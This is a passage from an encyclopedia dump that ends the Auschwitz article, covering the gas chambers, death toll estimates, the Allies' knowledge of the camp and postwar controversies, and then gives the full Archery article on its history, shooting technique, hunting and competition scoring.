Those selected for extermination were sent to any of four massive gas chamber/crematorium complexes, all at the edge of the camp. Two of the crematoria (Krema II and Krema III) each had an underground undressing room and the underground gas chamber, capable of holding thousands of people. To avoid mass panic, the victims were told that they were going there for showering; to reinforce this impression, shower heads were fitted in the gas chamber, though never connected to a water supply. The victims were ordered to strip naked and leave their belongings in the undressing room in a location that they could subsequently remember, before being led to the adjacent gas chamber. Once the victims were sealed shut in the chamber, the toxic agent [[Zyklon B]] was discharged from openings in the ceiling. Gas chambers in crematoria IV and V were above ground and Zyklon B was poured through the special windows in the walls. An oven room, where selected camp prisoners called ''[[Sonderkommandos]]'' took out the dead bodies and burned them, was part of the same building. 

[[Image:Holocaust-gas-hair.jpg|thumb|250px|left|Empty poison gas canisters and hair from victims, as seen in the Auschwitz museum]]

Jews from many countries were sent to Auschwitz-Birkenau to be killed:  300,000 from Poland, 69,000 from France, 60,000 from the Netherlands, 55,000 from Greece, 46,000 from Moravia, 25,000 from Belgium, as well as tens of thousands of Jews from other countries. The largest group of Jews deported to Auschwitz came from Hungary after Germany took control of its former ally in March 1944. Between May and July 1944, about 438,000 Jews from Hungary were deported to Auschwitz-Birkenau and the most were killed there. When the crematoria could not keep up, bodies were burned in open pits. {{ref|anat1}}.

Many Roma had been imprisoned in a special section of the camp, mostly in family units. They were gassed in July 1944. On [[10 October]], eight hundred [[Roma (people)|Roma]] children were systematically killed at Birkenau.

On [[October 7]], 1944, the Jewish ''Sonderkommandos'' (those prisoners kept separate from the main camp and involved in the operation of the gas chambers and crematoria) staged an uprising. Female prisoners had smuggled in [[explosive]]s from a weapons factory, and crematorium IV was partly destroyed by an explosion. The prisoners then attempted a mass escape, but nearly all of the 250 were killed soon after.

Many of the inmates enslaved here survived less than a year due to their harsh living conditions.
Birkenau was liberated on January 27, 1945.

===Auschwitz III and satellite camps===
:''Also see [[List of subcamps of Auschwitz]]''
The surrounding satellite work camps were closely connected to German industry and were associated with arms factories, foundries and mines. The largest work camp was Auschwitz III Monowitz, named after the  Polish village of [[Monowice]]. Starting operations in May 1942, it was associated with the synthetic rubber and liquid fuel plant ''Buna-Werke'' owned by [[IG Farben]]. In regular intervals, doctors from Auschwitz II would visit the work camps and select the weak and sick for the gas chambers of Birkenau.  The largest subcamps were built at [[Trzebinia]], [[Bleechammer]] and [[Althammer]].  Female subcamps were constructed at [[Budy]] , [[Plawy]], [[Zabrze]], [[Gliwice|Gleiwitz]] I, II, III, [[Rajsko]] and at [[Lichtenwerden]].

=== Knowledge of the Allies ===
[[Image:May311944 auschwitz.jpg|thumb|250px|A photograph of Birkenau, taken May 31, 1944 by a Mosquito plane from South African Air Force, sent to take photographs of the fuel factory at nearby Monowitz.  The photographic analysts missed the significance of the photograph, it was identified in the late 1970s and analyzed by the CIA in 1978.  Smoke can been seen coming from Crematoria V, indicating that a group of prisoners were recently gassed.]] 
Some information regarding Auschwitz reached the Allies during 1941-1944, such as the reports of [[Witold Pilecki]] and [[Jerzy Tabeau]], but the claims of mass killings were generally dismissed as exaggerations.   This changed with receipt of the very detailed report of two escaped prisoners, [[Rudolf Vrba]] and [[Alfred Wetzler]], which finally convinced most Allied leaders of the truth about Auschwitz in the middle of 1944.

Detailed air reconnaissance photographs of the camp were taken accidentally during 1944 by aircraft seeking to photograph nearby military-industrial targets, but no effort was made to analyse them.  (In fact, it was not until the 1970s that these photographs of Auschwitz were looked at carefully.)

Starting with a plea from the Slovakian rabbi [[Chaim Michael Dov Weissmandl|Weissmandl]] in May 1944, there was a growing campaign to convince the Allies to bomb Auschwitz or the railway lines leading to it.  At one point [[Winston Churchill]] ordered that such a plan be prepared, but he was told that bombing the camp would most likely kill prisoners without disrupting the killing operation, and that bombing the railway lines was not technically feasible.  Later several nearby military targets were bombed.  One bomb accidentally fell into the camp and killed some prisoners.  The debate over what could have been done, or what should have been attempted even if success was unlikely, has continued heatedly ever since.

=== Evacuation and liberation ===
The gas chambers of Birkenau were blown up by the Germans in November 1944 in an attempt to hide their crimes from the advancing Soviet troops. On [[January 17]], [[1945]] Nazi personnel started to evacuate the facility; most of the prisoners were [[Death marches (Holocaust)|marched West]]. Those too weak or sick to walk were left behind; about 7,500 prisoners were liberated by the [[322nd Infantry]] unit of the [[Red Army]] on [[January 27]], 1945.

'Liberation' was not necessarily the end of the ordeal for many prisoners.  Soviet POWs were accused of collaborating with the Germans and were either executed or sent to [[gulags]] in the Soviet Union.

==Death toll==
Since the Nazis attempted to destroy the evidence of the mass murder at Auschwitz, the exact number of victims is impossible to fix with certainty.  Early efforts to count the number of dead relied on the testimony of witnesses, especially Nazi [[Rudolf Hoess]], who gave the number of dead at 2.5-3 million.  Though this number, and a higher total of 4 million, was used by Soviet and Polish authorities, it was never taken seriously by Western scholars, who generally supported numbers of around 1-2 million. In 1983, French scholar George Wellers was one of the first to use Nazi data on deportations to estimate the number killed at Auschwitz, arriving at 1.613 million dead, including 1.44 million Jews and 146,000 Poles.  A larger study started around the same time by Franciszek Piper used time tables of train arrivals combined with deportation records to calculate 1.1 million Jewish deaths and 140,000-150,000 Polish victims, along with 23,000 Roma. This number has met with &quot;significant, though not complete&quot; agreement among scholars.{{note|anat1}}

== After the war ==
After the war, the camp served as a prison of the [[NKVD]] through most of 1945 and then remained in a state of disrepair for several years. The ''Buna Werke'' were taken over by the Polish government and became the foundation for the chemical industry of the region. 

The Polish government then decided to restore Auschwitz I and turn it into a museum honouring the victims of [[nazism]]; Auschwitz II, where buildings were prone to decay, was preserved but not restored. Today, the Auschwitz I museum site combines elements from several periods into a single complex: for example the gas chamber at Auschwitz I (which did not exist by the war's end) was restored and the fence was moved (because of building being done after the war but before the establishment of the museum). However, in most cases the departure from the historical truth is minor, and is clearly labelled.

[[Image:Auschwitzruins.jpg|thumb|400px|right|Part of the UNESCO World Heritage Site - ruins at Birkenau, 2002]]
Auschwitz II and the remains of the gas chambers there are also open to the public. The Auschwitz concentration camp is part of the [[UNESCO]] list of [[World Heritage Sites]].

In 1979, the newly elected Polish [[Pope John Paul II]] celebrated Mass on the grounds of Auschwitz II to some 500,000 people. After the pope had announced that [[Edith Stein]] would be [[beatification|beatified]], some Catholics erected a cross near bunker 2 of Auschwitz II where she had been gassed. A short while later, a Star of David appeared at the site, leading to a proliferation of religious symbols there; eventually they were removed.

[[Carmelites|Carmelite nun]]s opened a convent near Auschwitz I in 1984. After some Jewish groups called for the removal of the convent, representatives of the Catholic Church agreed in 1987. One year later the Carmelites erected the 8 metre (26 [[foot (unit of length)|ft]]) tall cross from the 1979 mass near their site, just outside block 11 and barely visible from within the camp. This led to protests by Jewish groups, who said that mostly Jews were killed at Auschwitz and demanded that religious symbols be kept away from the site. Some Catholics have pointed out that the people killed in Auschwitz I were mainly Polish Catholics. The Catholic Church told the Carmelites to move by 1989, but they stayed on until 1993, leaving the large cross behind. In 1998, after further calls to remove the cross, some 300 smaller crosses were erected by local activists near the large one, leading to further protests and heated exchanges. Following an agreement between the Polish Catholic Church and the Polish government, the smaller crosses were removed in 1999 but the large papal one remains. See [[Auschwitz cross]] for more details.

In 1996, Germany made [[27 January]], the day of the liberation of Auschwitz, the official day for the commemoration of the victims of 'National Socialism'.

The [[European Parliament]] marked the anniversary of the camp's liberation in 2005 with a minute of silence and the passage of this resolution: 
&lt;blockquote&gt;&quot;[[27 January]] [[2005]], the sixtieth anniversary of the liberation of [[Nazi Germany]]'s death camp at Auschwitz-Birkenau, where a combined total of up to 1.5 million [[Jew]]s, [[Roma (people)|Roma]], [[Poles]], [[Russians]] and prisoners of various other nationalities, and [[homosexuality|homosexuals]], were murdered, is not only a major occasion for European citizens to remember and condemn the enormous horror and tragedy of the Holocaust, but also for addressing the disturbing rise in [[anti-semitism]], and especially anti&amp;#8209;semitic incidents, in Europe, and for learning anew the wider lessons about the dangers of victimising people on the basis of [[race]], [[ethnic origin]], [[religion]], social classification, [[politics]] or sexual orientation.&quot;&lt;/blockquote&gt;

=== Other Controversies ===
For many years, a memorial plaque placed at the camp by the Soviet authorities and the Polish communist government stated that 4 million people had been murdered at Auschwitz.  This number was never taken seriously by Western historians, and was never used in any of the calculations of the death toll at Auschwitz (which have generally remained consistently around 1-1.5 million for the last sixty years) or for the total deaths in the Holocaust as a whole.  After the collapse of the Communist government, the plaque was removed and the official death toll given as 1.1 million.  [[Holocaust denial|Holocaust deniers]] have attempted to use this change as [[propaganda]], in the words of Nizkor: &quot;Deniers often use the 'Four Million Variant' as a stepping stone to leap from an apparent contradiction to the idea that the Holocaust was a hoax, again perpetrated by a conspiracy. They hope to discredit historians by making them seem inconsistent. If they can't keep their numbers straight, their reasoning goes, how can we say that their evidence for the Holocaust is credible? One must wonder which historians they speak of, as most have been remarkably consistent in their estimates of a million or so dead. In short, all of the denier's blustering about the 'Four Million Variant' is a specious attempt to envelope the reader into their web of deceit, and it can be discarded after the most rudimentary examination of published histories.&quot;[http://www.nizkor.org/features/techniques-of-denial/four-million-02.html]

Recently the Polish media and the foreign ministry of Poland have voiced objections to the use of the expression &quot;Polish death camp&quot; in relation to Auschwitz, as they feel that phrase might misleadingly suggest that Poles (rather than Germans) perpetrated the Holocaust.   Most media outlets now show awareness of the offence this may cause, and try to avoid using such expressions (or issue an apology after using them, see for example the recent [http://www.guardian.co.uk/comment/story/0,,1401179,00.html note] in ''[[The Guardian]]'').

The Polish film directors [[Andrzej Munk]] and [[Andrzej Wajda]] were both given permission to film in Auschwitz for the films ''[[Passenger (film)|Pasażerka]]'' and ''Krajobraz Po Bitwie'' respectively. However, permission was denied to Steven Spielberg for ''[[Schindler's List]]''. His Auschwitz scene was therefore filmed outside the near-symmetrical entrance, with scenery added to make it look like the real thing.

In February 2006, [[Poland]] refused to grant visas to Iranian researchers who were planing to visit [[Auschwitz]].[http://www.payvand.com/news/06/feb/1145.html].   Polish Foreign Minister Stefan Mellar said his country should stop Iran from investigating the scale of the Holocaust, which Iranian President Mahmoud Ahmadinejad has dismissed as a myth.

==Notes==
#{{note|anat1}}Yisrael Gutman, Michael Berenbaum, Raul Hilberg, Franciszek Piper, Yehuda Baur. ''Anatomy of the Auschwitz Death Camp''. Indiana University Press, 1998, pp 60-70.

== See also ==   
* [[Final Solution]]   
* [[Holocaust]]   
* [[Auschwitz Album]] - a collection of pictures taken at Auschwitz during its operation.   
* [[Extermination camp]]   
* [[List of German concentration camps]]   
* [[History of Gays during the Holocaust]]   
    
== External links ==   
*[http://www.remembranceandhope.freeservers.com March of Remembrance and Hope] Holocaust Education Site.  A student's account of the inaugural March of Remembrance and Hope.  Pictures and commentary of visit to Auschwitz and other Holocaust sites.
*[http://www.ushmm.org/museum/exhibit/focus/auschwitz/auschwitz.php Liberation of Auschwitz - 60th Anniversary] United States Holocaust Memorial Museum
*[http://www.ushmm.org/wlc/en/index.php?ModuleId=10005189 Holocaust Encyclopedia - Auschwitz] United States Holocaust Memorial Museum
*[http://www.auschwitz-muzeum.oswiecim.pl/html/eng/start/index.php Auschwitz-Birkenau Museum] Official Auschwitz-Birkenau Museum and Memorial   
*[http://www.remember.org/ Cybrary of the Holocaust] Holocaust education site   
*[http://www.annaheilman.net/index.html Anna Heilman] Anna Heilman is the last living survivor of the plot to blow up Crematorium IV at Auschwitz-Birkenau   
*[http://www.guardian.co.uk/secondworldwar/story/0,14058,1386675,00.html ''The Nazi's testimony''], ''The Guardian'', [[10 January]] [[2005]]   
*[http://www.remember.org/camps/ Photos From Auschwitz and Birkenau] Detailed Photos From Auschwitz and Birkenau by Alan Jacobs   
*[http://www.remember.org/auschwitz/ Virtual Reality panoramas of Auschwitz and Birkenau] Interactive Virtual Reality panoramas of Auschwitz and Birkenau   
*[http://remember.org/then-and-now/ Auschwitz, Then and Now Photo/Art Exhibit]Paintings by survivor Jan Komski -- click and see an actual photo taken in the same place depicted in the painting.   
*[http://www.cracow-life.com/guide/Auschwitz/auschwitz.php Auschwitz: A Visitor's Introduction]   
*[http://www.bbc.co.uk/history/war/genocide/ Auschwitz: The Nazis and the 'Final Solution'] A comprehensive [[BBC]] documentary about the creation, evolution and aftermath of the Auschwitz camp.   
*[http://www.wiesenthal.com/ The Simon Wiesenthal Center] An international Jewish human rights organization dedicated to preserving the memory of the Holocaust.   
*[http://65.18.208.71/bearingwitness/ Photos of Auschwitz 2003] Photos taken by [http://www.bearingwitnessjournal.com/story.htm?story=1R1P30 Laura Carboni] while participating in the annual multi-faith [http://www.houseofonepeople.org/events.htm?z=88 Bearing Witness] retreat.
*[http://maps.google.com/maps?f=q&amp;hl=en&amp;q=50%C2%B0+1%27+26%22,+19%C2%B0+12%27+18%22&amp;ll=50.023889,19.205&amp;spn=0.026138,0.086517&amp;t=k Auschwitz] and [http://maps.google.com/maps?f=q&amp;hl=en&amp;q=50%C2%B0+2%27+20%22,+19%C2%B0+10%27+30%22&amp;ll=50.038895,19.175005&amp;spn=0.02613,0.086517&amp;t=k Virkenau] at Google Maps.

[[Category:Nazi concentration camps]]
[[Category:Nazi extermination camps]]
[[Category:World Heritage Sites in Poland]]
[[Category:World War II resistance movements]]

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    </revision>
  </page>
  <page>
    <title>Archery</title>
    <id>2007</id>
    <revision>
      <id>41971219</id>
      <timestamp>2006-03-02T23:32:20Z</timestamp>
      <contributor>
        <username>Jeffrey O. Gustafson</username>
        <id>158658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.173.8.12|203.173.8.12]] ([[User talk:203.173.8.12|talk]]) to last version by Mukadderat</comment>
      <text xml:space="preserve">[[Image:Archery_target.jpg|thumb|180px|These arrows score as an inner 10, and a 9]]
'''Archery''' is the practice of using a [[bow (weapon)|bow]] to shoot [[arrow|arrows]]. Archery has historically been used in hunting and combat, and has become a precision sport. One term for an archer is a ''toxopholite'', which derives from [[ancient Greek language|ancient Greek]].

==History==

===Beginnings===
Archaeologists suspect that archery may have begun up to 15,000 years ago, but the earliest concrete evidence is between 8,000 and 9,000 years old. The bow probably originated for use in hunting, and was then adopted as a tool of warfare. Bows eventually replaced the [[atlatl]] as the predominant means for launching projectiles. Archery was practiced in antiquity on every continent except Australia, demonstrating that it is both basic and versatile.

===Classical archery===

Classical civilizations, notably the [[Ancient Macedonians|Macedonians]]/[[Ancient Greece|Greeks]], Iranian [[Parthian]]ns, [[India]]ns and [[China|Chinese]], fielded large numbers of archers in their armies. Arrows proved exceptionally destructive against massed formations, and the use of archers often proved decisive. Archers sometimes rode on horseback, combining range with speed. [[Apollo]], [[Odysseus]], and other mythological characters are often depicted with a bow.

The phrase &quot;A parting shot&quot; comes from 'The Parthian shot' as a rider turned in the saddle to shoot as he rode away from the enemy.

===Medieval European archery===

[[Image:Equipement.archer.png|thumb|right|200px|An English longbowman.]]

During the Middle Ages, archery in warfare was not as prevalent and dominant in Western Europe as popular myth dictates. Archers were quite often the lowest paid soldiers in an army or conscripted from the peasantry. This was due to the cheap nature of the bow and arrow as compared to the expense needed to equip a professional [[man-at-arms]] with good armour and a sword. The bow was seldom used to decide battles and viewed as a &quot;lower class weapon&quot; or a toy by the nobility. This disdain was countered by the Vikings, whose widespread use of archery gave them success in their numerous raiding expeditions all over the Western European seaboard (and even well into the Mediterranean) in the [[9th century|9th]] and [[10th century|10th]] centuries.

By the time of the [[Hundred Years' War]], the English had learned how to employ massed archery (as opposed to dispersed skirmishing) as an instrument of tactical dominance with their [[English longbow]]s. Archers were drawn from the freeholding farmers known as [[yeoman|yeomen]], and trained rigorously from childhood. Every boy was given a bow of his own height and was required to train with it. Tournaments were sponsored to encourage proficiency. 

In combat, they would often shoot two arrows, one on a high trajectory, and one on a low trajectory. These two arrows would hit the enemy simultaneously from two different angles, making defense difficult. The advent of the [[bodkin point]] also gave arrows better penetrative power.

The [[crossbow]], while dating from classical times, became quite popular during the Middle Ages. While it took many years to train a longbowman, someone could become proficient with a crossbow with little training. The crossbow had about the same power and range as a longbow. Its major drawback was that it took a long time to reload. The armour piercing power of the crossbow caused fear amongst the well armoured nobility, and it was banned by the [[Second Council of the Lateran]] (at least between Christians), although to little avail.

The advent of [[firearm]]s rendered bows obsolete in warfare. Although bows had a longer range and could shoot much more frequently than the earliest guns, guns could penetrate most armour and required minimal training. Later development gradually gave firearms advantages over bows in range, accuracy and eventually in reload time. An illustration of the declining popularity of the bow could be seen in the various edicts promulgated by 16th-century English monarch to make archery a mandatory practice for all men of fighting age, including Henry VIII's famous ban against the practice of all sports other than archery in Sundays.

The term &quot;Second String&quot; (or the phrase 'to have more than one string to your bow') derives from the fact that medieval archers would carry a second string in the event that their &quot;first string&quot; snapped.

*See also [[Medieval archers' helmets]]

===Asian archery===
[[Image:Ladakharchery.jpg|right|thumb|250px|An archery contest in [[Ladakh]], [[India]]]]
Archery was also highly developed in [[Asia]]. In modern times it continues to be practised in some Asian countries but is not used in international competition.  Central Asian tribesmen were extremely adept at archery on horseback, and the [[Mongol Empire|Mongols]] used it to dominate the [[Eurasian Steppe]]. Horse archers would shoot while approaching their target, then turn around in the saddle and shoot again after they passed.

The arrows are less stiff than western arrows with smaller fletchings. Bows vary widely.

The bow is held clasped to the chest, arrow point slightly up.  Both arms are extended, the left arm up and toward the target, the right arm back and away from the target. The bow and arrow are drawn down into a line with both arms locked on opposite sides of the body, but the elbow of the right arm is permitted to flex.  In some styles the bowstring and fletchings may actually be held ''behind'' one's head.  The arrow is held at the first joint of the thumb, and the string rests on a [[thumbring]] (Mongol or [[Manchu]]) or a slot at the base of a gauntlet's thumb ([[Japanese language|Japanese]] tsuri), so it does not hurt the thumb.  A headband may be worn to keep the bowstring from hurting one's ear or head.  Thick, loose clothing protects the bowstring from the arms and chest at release. Warriors on the battlefield often wore leather gauntlets, chest armor and [[helmet]]s with flared ridges to protect against the bowstring.

Foot-bows were known and sometimes used in warfare; they were preferred to crossbows because they had a faster firing rate and somewhat longer range.  The basic technique was for archers to lie on their backs, with the bows held to to their feet; they would put the arrow between their feet, and pull back the string with both hands, using their back and legs to bend the bow. Aiming was poor, but with the weight and velocity of the five foot long arrows, combined with massed volleys, this became less important.

Archery was widespread in [[India]]. [[Arjuna]]'s bow, [[Gandiva]], was the Indian equivalent of [[King Arthur]]'s [[Excalibur]].

See also:
*[[Goongdo]], Korean archery.
*[[Kyudo]], Japanese archery.
*[[Yabusame]], Japanese horseback archery.
*[[Turkish archery]]

===Recurve target archery===

This section focuses on the accepted technique for modern competition which is used worldwide. Many other variations exist, some of which are documented below.

The bow is held in the hand opposite the [[eye dominance | dominant eye]]. This hand is referred to as the '''bow hand''' and its arm the '''bow arm.''' The opposite hand is called the '''string hand.''' Terms such as '''bow holder''' or '''string elbow''' follow the same convention. Right eye dominant people hold the bow with their left hand, have their left side facing the target, sight towards the target with their right eye, and handle the arrow and string with their right hand.

Generally one wears a [[bracer (archery)|bracer]] (more commonly known as an arm-guard) to protect the inside of the bow arm, and a [[finger tab|tab]] to protect the fingers of the string hand. Some archers also wear protection on their chests called chestguards (see photo). Chestguards are to protect the bowstring from the archer but can also protect the archer from the bowstring. 

To shoot an arrow with a recurve bow, an archer first adjusts stance. The bow shoulder is towards the target. The archer straddles the shooting line with his or her feet shoulder width apart.

To load, the bow is pointed toward the ground and the shaft of the arrow is placed on an arrow rest attached to the bow. The bowstring is then placed into the notch at the back of the arrow. This is called ''nocking the arrow.'' Typical arrows with three vanes should be oriented such that a single vane is pointing away from the bow. This vane is often coloured differently and has numerous names such as ''index fletch'' and ''cock-feather.''

The bowstring and arrow are held with three fingers. When using a sight, the index finger is placed above the arrow and the next two fingers below. The string is usually placed in either the first or second joint of the fingers.

The bow is then raised and drawn. This is often one fluid motion which tends to vary from archer to archer. The string hand is drawn towards the face, where it should rest lightly at an ''anchor point''. This point is consistent from shot to shot, and is usually at the corner of the mouth or on the chin. The bow arm is pushed outward toward the target. The elbow of this arm should be rotated outward so that the bowstring doesn't scrape the inside of the wrist or catch on a [[bracer (archery)|bracer]] when released. The bow should always remain vertical.

In proper form, the archer stands erect, forming a T. The archer's back [[muscle]]s are used to pull the arrow to the anchor point. Most bows will be equipped with a mechanical device called a clicker which produces a clicking sound when the archer reaches the correct draw length. 

The arrow is typically released by relaxing the fingers of the drawing hand. An archer should pay attention to the recoil, or ''follow through'' of his or her body, as it may indicate problems with his or her form.

===Compound Bow Technique===

A [[compound bow]] is designed to reduce the force that an archer must hold, and increase the overall energy stored by the bow. Most compound designs use cams on the ends of the limbs to optimise the leverage exerted by the archer and reduce the holding force of the bow at full draw while maintaining the force through the draw.

The archer usually uses a release aid to hold the string steadily and release it precisely. This attaches to the bowstring at a point and permits the archer to release the string with a pull of a trigger. With less force required to hold a compound bow at draw, the muscles take longer to fatigue, thus giving a compound archer more time to aim. For these reasons, the compound bow is sometimes derogatorily referred to as a &quot;training-wheel bow.&quot; In general, good recurve technique usually makes good compound technique. A compound bow must be adjusted so that its draw length is correct for the archer. The draw length is determined largely by the archer's arm length and shoulder width.

==Hunting==

In [[North America]], as with other hunting methods, bowhunting is regulated on a state-by-state basis. Regulations often address issues such as where (hunting unit), when (season), and what type (male/female) of individual animal species may be taken. In many cases, a special archery season is set aside to minimize interference from rifle hunters. In addition, in an effort to maximize game recovery and shot lethality, there are often technical regulations such as a minimum draw weight for the hunting of big game species. 

In contrast to a rifle hunter, who may shoot effectively from ranges in excess of 200 yards (~180m), a responsible archer will usually restrict shots to 30 yards (~25m) or less depending on factors such as individual ability, the target animal, draw weight, etc. Because archers must be much closer to their target animal, the bow hunter often claims a more intimate hunting experience and must pay special attention to the animal’s sense of smell, hearing, and sight. This limit on effective range is one of the primary challenges that makes the sport of archery hunting attractive.

Game hunted by archers includes all of the North American big game species. Visit &lt;http://www.pope-young.org&gt; for current archery world records. People also occasionally fish with modified bows, a practice called '''bowfishing'''. 

Today, compound bows are usually preferred for hunting, although recurve bows are not uncommon and usually legal. Longbows are often used by those who want to make the hunting experience as traditional as possible, but much more skill is needed to get a clean hit from a longbow than from other bows. Crossbows are generally permitted for disabled hunters, and in 2005 many states allowed able-bodied hunters to use crossbows, a move that has been somewhat controversial among bow hunters. 

As with any weapon, proper practice and practical training will increase the odds that an animal can be taken successfully and humanely, and in fact, an experienced archery hunter can place a kill shot as effectively as a rifle hunter. However, some European countries consider bowhunting unnecessarily cruel to animals and prohibit the sport. Bowhunting, like target archery, was revived in Britain during the Victorian era, but became outlawed when the Wildlife and Countryside Act of 1963 excluded bows and crossbows from its list of permitted hunting weapons. Since 2003, Scotland has been considering the reintroduction of bowhunting as a means of controlling its deer population. France, Lithuania and Finland have reintroduced bowhunting since 2000. Several other European countries are considering its reintroduction.

==Modern competitive archery==

[[Image:Archery competition.jpg|thumb|left|Outdoor archery competition.]]

Competitive archery involves shooting arrows at a target for accuracy from a set distance or distances. This is the most popular form of archery and is called 'Target Archery'.

While people have no doubt been competing with bows for millennia, the first recorded archery competitions began around [[1583]] in [[England]]. Archery has been an [[Olympic Games|Olympic]] sport since [[1900]], with some interruptions. Recently the Koreans have dominated the event, especially the women's divisions. At the Sydney 2000 games, the Korean women won bronze, silver and gold in the individual competition and won gold in the team event. The Korean men have not fared so well in Olympic competition but still produce good results. As of October 2004, every record in the men's and women's open divisions are held by Korea. It should be noted that the Koreans stick primarily to outdoor competition, particularly the 70&amp;nbsp;m Olympic distance. Indoor distances tend to be dominated by European and American archers.

Modern competitive archery is governed by the [http://www.archery.org/ International Archery Association], abbreviated FITA (Fédération Internationale de Tir à l'Arc). Olympic rules are derived from FITA rules.

===Rules===

Archery competitions may be held indoors or outdoors. Indoor distances are 18&amp;nbsp;m and 25&amp;nbsp;m. Outdoor distances range from 30&amp;nbsp;m to 90&amp;nbsp;m (for senior archers, juniors can shoot closer distances), with 70&amp;nbsp;m being used in the Olympic Games. Most outdoor competitions consist of several distances.

Competition is divided into ''ends.'' An archer shoots either 3 or 6 arrows per end, depending on the type of round. After each end, the competitors walk to the target to score and retrieve their arrows. There are 20 ends of 3 arrows in a round of indoor competition. Outdoor competition varies, but outdoor rounds generally involve more arrows being shot. All competitors must wait for the command to shoot and retrieve.

Archers have a set time limit in which to shoot their arrows. For indoor competition, this is 2 minutes. Signalling devices such as lights and flags inform the archers when time is up. Since archery involves the use of potentially lethal weapons, much attention is paid to order and safety.

===Scoring===



Targets are marked with 10 evenly spaced concentric rings, which have score values from 1 through 10 assigned to them. In addition, there is an inner 10 ring, sometimes called the X ring.  This becomes the 10 ring at indoor compound competitions. Outdoors, it serves as a tiebreaker with the archer scoring the most number of X's winning. In FITA archery, targets are coloured as follows:

*1 ring &amp; 2 ring - white
*3 ring &amp; 4 ring - black
*5 ring &amp; 6 ring - blue
*7 ring &amp; 8 ring - red
*9 ring &amp; 10 ring - gold

Archers score each end by summing the scores for their arrows. Line cutters are awarded the higher score. Values scored by each arrow are recorded on a score sheet and must be written in descending order (e.g. if an archer scores 5, 7, 6, 10, 9, 8, this must be recorded as 10, 9, 8, 7, 6, 5.).

However, in the imperial method of scoring, the coloured bands are counted 1, 3, 5, 7, 9. The lowest score is for all the white on the target face and the 9 for any gold. Arrows are shot in 'ends' of three with six arrows being released before each count. When a dozen arrows have been shot, the scorer will add up the miss rates, the number of golds and the total score. This will then be repeated a certain number of times depending on the tournament type.

During competition, there are usually at least two archers per target. This is to allow for &quot;double scoring&quot;, a system where two archers will record and sum all scores on individual sheets. This is done to prevent any errors. During and before scoring no one is allowed to touch the arrows. After scoring, each hole is marked before arrows are retrieved. In the event of a &quot;pass through&quot; (the arrow passes straight through the target) or &quot;bouncer&quot; (arrow hits the target and bounces out), points may be awarded to an unmarked hole.

Different rounds and distances use different size target faces. Common sizes (and example rounds they are used in) are:
*40 cm (18m FITA Indoor)
*60 cm (25m FITA Indoor)
*80 cm (30m and 50m FITA)
*122 cm (70m and 90m FITA)
122 cm faces are used in Olympic competition. There are also versions of the 40cm and 60cm targets known as the &quot;3 Spot&quot;. The targets contain 3 instances of the inner 5 rings of the 40cm and 60cm faces arranged in a line or an equilateral triangle.

===Other competition===

'''[[Field Archery]]''' involves shooting at targets of varying and unmarked distance, often in rough terrain. 3D archery focuses on shooting at life-size models of game, and is popular with hunters.

'''Clout Archery (G.N.A.S. rules in the United Kingdom)'''
Similar to target archery, except that the archer attempts to drop arrows at long range (180 yards for the men and 140 yards for women; there are shorter distances for juniors depending on age) into a group of concentric  circular scoring zones on the ground surrounding a marker flag.  The flag is 12 inches square and is fixed to a stick. The flag should be as near to the ground as is practicable. Archers shoot 'ends' of six arrows then, when given the signal to do so, archers proceed to the target area.  A Clout round usually consists of 36 arrows. Clout tournaments are usually a 'Double Clout' round (36 arrows shot twice).  They can be shot in one direction (one way) or both directions (two way).  All bow types may compete (longbows, recurve, barebow and compound). 

* '''Scoring.''' A 'rope' with a loop on the end is placed over the flag stick. This rope is divided into the scoring zones of the target: Gold (5 points), Red (4 points), Blue (3 points), Black (2 points) and White (1 point). The rope is 'walked' around the target area and arrows falling within a particular scoring zone are withdrawn and,on completion of the full circle, are laid out on the rope on the corresponding colours. The designated scorer would then call out the archers' names and the archers would (in turn) call out their scores as they pick up their arrows.

'''Roving Marks'''
A number of marks or flags are set out in an area. Archers shoot from a start point at an elected mark attempting to drop arrows as close as possible. The archer coming closest to the elected mark scores that shot and selects the next mark. Ranges vary. The furthest 'Finsbury' mark is 13 score and 5 (265) yards. When England was a less crowded, country roving marks was a popular pastime and military training. Marks would have been artificial markers or natural features such as tussocks of grass or tree stumps. Roving marks are normally shot with English Longbows.

'''Flight Archery.'''
Flight Archery can only take place where space permits since archers compete by shooting for sheer distance. Archers shoot a number  of arrows and then search for the one which has been shot the farthest, marking it with an identifiable marker. At the end of the round, archers stand or sit by their furthest arrows while judges measure the distances they were shot.There are many classes that one can shoot in, depending on the type of bow and its draw force.

'''Popinjay (or Papingo).'''
A form of archery originally derived from shooting birds on church steeples. It is almost unheard of outside of Belgium. Archers stand within 12 feet (3.7 m) of the bottom of a 90 ft (27 m) mast and shoot almost vertically upwards with 'blunts' (arrows with rubber caps on the front instead of a pile), the object being to dislodge any one of a number of wooden 'birds'. These birds must be one Cock, four Hens, and a minimum of twenty-four Chicks. A Cock scores 5 points when hit and knocked off its perch; a Hen, 3; and a Chick, 1 point.

==External links==
{{Wiktionary}}
*[http://www.hybridhunter.com/ HybridHunter.com] - A Bowhunting Enthusiast's Website
*[http://www.archerytalk.com/ ArcheryTalk.com] - The largest Archery Community online
*[http://www.archery.org/ International Archery Association (FITA)]
*[http://www.archeryassociationofindia.org Archery Association of India]
*[http://www.archery.org.au/ Archery Australia]
*[http://www.usarchery.org/ United States National Archery Association]
*[http://www.booneman.com/ Michigan Hunting and Archery Forum]
*[http://www.koreanarchery.org/ Korean Traditional Archery]
*[http://www.yabusame.com/ Takeda school Kyubadou Yabusame - horseback archery]
*[http://www.gnas.org/ Grand National Archery Society - UK national]
*[http://www.irishfieldarchery.com/ Irish Field Archery Federation]
*[http://www.atarn.org/ Asian Traditional Archery Research Network]
*[http://www.nfaa-archery.org/ United States National Field Archery Association]
*[http://www.scottisharchery.org.uk/ Scottish Archery Association]
*[http://www.archersreference.pwp.blueyonder.co.uk/ The Archers Reference]
*[http://www.ibo.net/ International Bowhunting Organization]
*[http://www.archery.org.hk/ Hong Kong Archery Association]
*[http://ozhanozturk.com/content/view/396/1/ Traditional Turkish Sports]
*[http://www.howardbowmen.org.uk/ The Howard Bowmen]
*[http://www.netherhallarchers.org/ Netherhall Archers] - the first Wiki-based website for an archery club?
*[http://museum.man.ac.uk/collections/archery/archery.htm  Simon Archery Collection]
*[http://www.freeonlinegames.com/play/322.html  Online Archery Game]
*[http://www.archery-interchange.com/forum/  Archery Interchange UK discussion forum]
*[http://www.aasinfo.demon.co.uk/ Association for Archery in Schools]
*[http://www.archery-forum.com/ Archery-Forum.com Australia's #1 Archery Website]
